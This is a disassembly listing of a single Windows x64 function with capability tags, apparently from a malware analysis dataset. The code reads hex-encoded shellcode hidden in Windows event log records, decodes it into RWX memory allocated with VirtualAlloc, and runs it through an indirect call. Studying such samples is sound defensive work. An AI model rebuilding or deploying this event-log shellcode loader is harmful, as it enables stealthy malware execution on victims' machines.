Function at 0x140001f20
Capabilities:
Access the windows event log
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x570
mov rax, qword [0x140041020]
xor rax, rsp
mov qword [rsp + 0x560], rax
mov r14, rcx
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov r15, rax
test rax, rax
jne 0x140001f8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.OpenEventLog_Error__
mov ebx, eax
lea rcx, [0x140042370]
call fcn.140004930
mov rcx, rax
mov edx, ebx
call fcn.140002330
mov rcx, rax
call fcn.140004be0
lea eax, [r15 + 1]
jmp 0x1400022e4
mov qword [rsp + 0x598], rbp
xor ebp, ebp
mov qword [rsp + 0x5a0], rsi
mov esi, 0x10000
mov qword [rsp + 0x5a8], rdi
mov dword [rsp + 0x3a8], ebp
mov dword [rsp + 0x390], ebp
lea rdi, [rbp - 1]
lea ecx, [rsi + 1]
call fcn.140012104
mov rbx, rax
test rax, rax
jne 0x140001fe0
lea rdx, str.Failed_to_allocation_memory_for_pBuffer
lea rcx, [0x140042370]
jmp 0x140002079
lea rax, [rsp + 0x390]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov r9, rbx
lea rax, [rsp + 0x3a8]
mov rcx, r15
mov qword [rsp + 0x28], rax
lea edx, [r8 + 9]
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_ReadEventLogW]
test eax, eax
jne 0x1400020c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp eax, 0x7a
jne 0x140002090
mov edx, dword [rsp + 0x390]
mov rcx, rbx
add edx, 1
cmovb rdx, rdi
call fcn.14000ec1c
mov rbx, rax
test rax, rax
je 0x14000204d
mov esi, dword [rsp + 0x390]
jmp 0x140001fe0
lea rdx, str.Failed_to_reallocate__
lea rcx, [0x140042370]
call fcn.140004930
mov edx, dword [rsp + 0x390]
mov rcx, rax
call fcn.140002330
mov rcx, rax
lea rdx, str._Bytes
call fcn.140004930
mov rcx, rax
call fcn.140004be0
mov eax, 1
jmp 0x1400022cc
cmp esi, 0x26
je 0x1400022c1
lea rdx, str.ReadEventLog_Error
lea rcx, [0x140042370]
call fcn.140004930
mov rcx, rax
mov edx, esi
call fcn.140002330
mov rcx, rax
call fcn.140004be0
mov eax, 1
jmp 0x1400022cc
mov esi, dword [rsp + 0x3a8]
mov ecx, 0x34b
add rsi, rbx
call fcn.140012104
mov r10, rax
cmp rbx, rsi
jae 0x1400022c1
nop dword [rax + rax]
lea r9, [rbx + 0x38]
mov rcx, r14
mov r8, r9
sub r8, r14
nop dword [rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x140002114
add rcx, 2
test eax, eax
jne 0x140002100
test edx, edx
je 0x140002127
mov eax, dword [rbx]
add rbx, rax
cmp rbx, rsi
jb 0x1400020f0
jmp 0x1400022c1
mov rax, rdi
nop word [rax + rax]
cmp word [r9 + rax*2 + 2], bp
lea rax, [rax + 1]
jne 0x140002130
lea rdx, [rax + 1]
lea rdx, [r9 + rdx*2]
test r10, r10
je 0x140002301
nop dword [rax]
cmp word [rdx + rdi*2 + 2], bp
lea rdi, [rdi + 1]
jne 0x140002150
lea rdx, [rdx + rdi*2]
mov rcx, rbp
add rdx, 8
nop word [rax + rax]
movzx eax, byte [rdx - 2]
lea rdx, [rdx + 4]
mov byte [rsp + rcx + 0x40], al
movzx eax, byte [rdx - 4]
mov byte [rsp + rcx + 0x41], al
add rcx, 2
cmp rcx, 0x34a
jl 0x140002170
movzx eax, byte [rsp + rbp*2 + 0x41]
lea rcx, [rsp + 0x398]
xor edx, edx
mov byte [rsp + 0x3a0], al
movzx eax, byte [rsp + rbp*2 + 0x40]
mov byte [rsp + 0x398], al
lea r8d, [rdx + 0x10]
call fcn.140011b24
xor edx, edx
lea rcx, [rsp + 0x3a0]
mov ebx, eax
shl bl, 4
lea r8d, [rdx + 0x10]
call fcn.140011b24
add al, bl
mov byte [rsp + rbp + 0x3b0], al
inc rbp
cmp rbp, 0x1a5
jl 0x140002191
xor ecx, ecx
mov edx, 0x1a5
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000223a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._VirtualAlloc_Error__
mov ebx, eax
lea rcx, [0x140042370]
call fcn.140004930
mov rcx, rax
mov edx, ebx
call fcn.140002330
mov rcx, rax
call fcn.140004be0
jmp 0x1400022c1
mov rcx, r8
lea rdx, [rsp + 0x3b0]
mov eax, 3
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140002250
mov eax, dword [rdx + 0x20]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov dword [rcx + 0x20], eax
movzx eax, byte [rdx + 0x24]
mov byte [rcx + 0x24], al
call r8
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
xor eax, eax
mov rsi, qword [rsp + 0x5a0]
mov rbp, qword [rsp + 0x598]
mov rdi, qword [rsp + 0x5a8]
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.140008480
add rsp, 0x570
pop r15
pop r14
pop rbx
ret
lea rdx, str.Error_allocation_memory_for_pShellCode
lea rcx, [0x140042370]
call fcn.140004930
mov rcx, rax
call fcn.140002670
mov ecx, 1
call fcn.14000ec08
int3